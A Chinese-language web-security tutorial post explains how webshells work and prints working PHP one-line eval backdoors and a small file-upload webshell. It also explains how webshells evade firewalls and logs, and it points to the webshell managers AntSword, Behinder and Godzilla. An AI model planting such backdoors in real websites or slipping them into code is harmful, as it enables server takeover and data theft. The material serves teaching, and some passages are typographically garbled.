webshell原理
1.1 WebShell的含義
WebShell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個(gè)網(wǎng)站后,通常會(huì)將asp或php后門文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個(gè)命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。
1.2 WebShell的優(yōu)點(diǎn)
WebShell最大的優(yōu)點(diǎn)就是可以穿越防火墻,由于與被控制的服務(wù)器或遠(yuǎn)程主機(jī)交換的數(shù)據(jù)都是通過8O0端口傳遞的,因此不會(huì)被防火墻攔截。并且使用WebShell一般不會(huì)在系統(tǒng)日志中留下記錄只會(huì)在網(wǎng)站的web日志中 留下一些數(shù)據(jù)提交記錄,沒有經(jīng)驗(yàn)的管理員是很難看出入侵痕跡的。
1.3 WebShell的分類
WebShell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。跟隨時(shí)代和技術(shù)的變遷,國(guó)外也有用python編寫的腳本木馬,不過國(guó)內(nèi)常用的無外乎三種,大馬,小馬,一句話木馬,具體使用場(chǎng)景和特點(diǎn)如下圖:
1.3.1一句話木馬
代碼簡(jiǎn)短,通常只有一行代碼,使用方便。
PHP: <?php eval($_GET[pass]);?>
1.3.2 小馬
只包含文件上傳功能,體積小。
< ?php
@$temp = $_FILES[ ' upload_file'][ 'tmp_name ' ];
@$file = basename($_FILES[ ' upload_file' ][ 'name ' ]);
if ( empty ($file) ){
echo "<form action = '' method = 'POST'ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file ' >\n";
echo "<input type = 'submit' value = 'upload ' > \n";
echo "</form> \n<pre> \n\n</pre>" ;
}else {
if(move_uploaded_file($temp , $file)){
echo "File uploaded successfully.<p> \n"}
else {
echo "Unable to upload " . $file . ".<p>n"; }
}?>
1.3.3 大馬
體積大,包含很多功能,代碼通常會(huì)進(jìn)行加密隱藏。
1.4 WebShell原理拋析
首先我們先看一個(gè)原始而又簡(jiǎn)單的php一句話木馬:
<?php @eval($_POST['a']);?>
(1) php的代碼要寫在<?php ?>里面,服務(wù)器才能認(rèn)出來這是php代碼,然后才去解析。
(2)@符號(hào)的意思是不報(bào)錯(cuò),即使執(zhí)行錯(cuò)誤,也不報(bào)錯(cuò)。
(3)為什么密碼是a呢?
php里面幾個(gè)超全局變量:$_GET、$_POST
就是其中之一。$_POST[a];的意思就是a這個(gè)變量,用post的方法接收。
(4)如何理解eval()函數(shù)?
eval()把字符串作為PHP代碼執(zhí)行。
例如: eval(“echo 'a”");其實(shí)就等于直接echo ‘a(chǎn)’;再來看看<?php eval($_POST[a'); ?>首先,用post方式接收變量a,比如接收到了: a=echo 'a;這時(shí)代碼就變成<?php eval("echo 'a';"); ?>。結(jié)果如下:
1.2.1 WebShell管理工具的誕生
攻擊者在入侵網(wǎng)站時(shí),通常要通過各種方式寫入WebShell,從而獲得服務(wù)器的控制權(quán)限,比如執(zhí)行系統(tǒng)命令.讀取配置文件、竊取用戶數(shù)據(jù),篡改網(wǎng)站頁面等操作。為了方便對(duì)這些WebShell進(jìn)行管理,就誕生了各種各樣的WebShell管理工具。
菜刀原理
2.1菜刀工作原理
以虛擬終端執(zhí)行命令
常見webshell管理工具
3.1中國(guó)蟻劍
中國(guó)蟻劍是一款開源的跨平臺(tái)網(wǎng)站管理工具,它主要面向于合法授權(quán)的滲透測(cè)試安全人員以及進(jìn)行常規(guī)操作的網(wǎng)站管理員。
項(xiàng)目地址: https:/lgithub.com/AntSwordProject/AntSword-Loader
3.2冰蝎
冰蝎通信過程中使用AES(高級(jí)加密算法,對(duì)稱加密,微信小程序使用此種方法)進(jìn)行加密,Java和.NET默認(rèn)支持AES, php中需要開啟openssl擴(kuò)展,在V2.0版本后,php環(huán)境方式根據(jù)服務(wù)端支持情況動(dòng)態(tài)選擇,使得冰蝎更強(qiáng)大。
項(xiàng)目地址: https://github.com/rebeyond/Behinder文章來源:http://www.zghlxwxcb.cn/news/detail-738644.html
3.3哥斯拉
護(hù)網(wǎng)期間,各大廠商的waf不斷,在靜態(tài)查殺、流量通信等方面對(duì)webshell進(jìn)行攔截,眾紅隊(duì)急需一款優(yōu)秀的權(quán)限管理工具,冰蝎3.0的發(fā)布可能緩解了流量加密的困境,但是冰蝎3.0的bug眾多,很多朋友甚至連不上冰蝎的shell,于是@BeichenDream決定公開他所開發(fā)的一款shell權(quán)限管理工具,名為“哥斯拉”。
項(xiàng)目地址: https://github.com/BeichenDream/Godzilla文章來源地址http://www.zghlxwxcb.cn/news/detail-738644.html
到了這里,關(guān)于web安全第四天:webshell原理與菜刀使用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!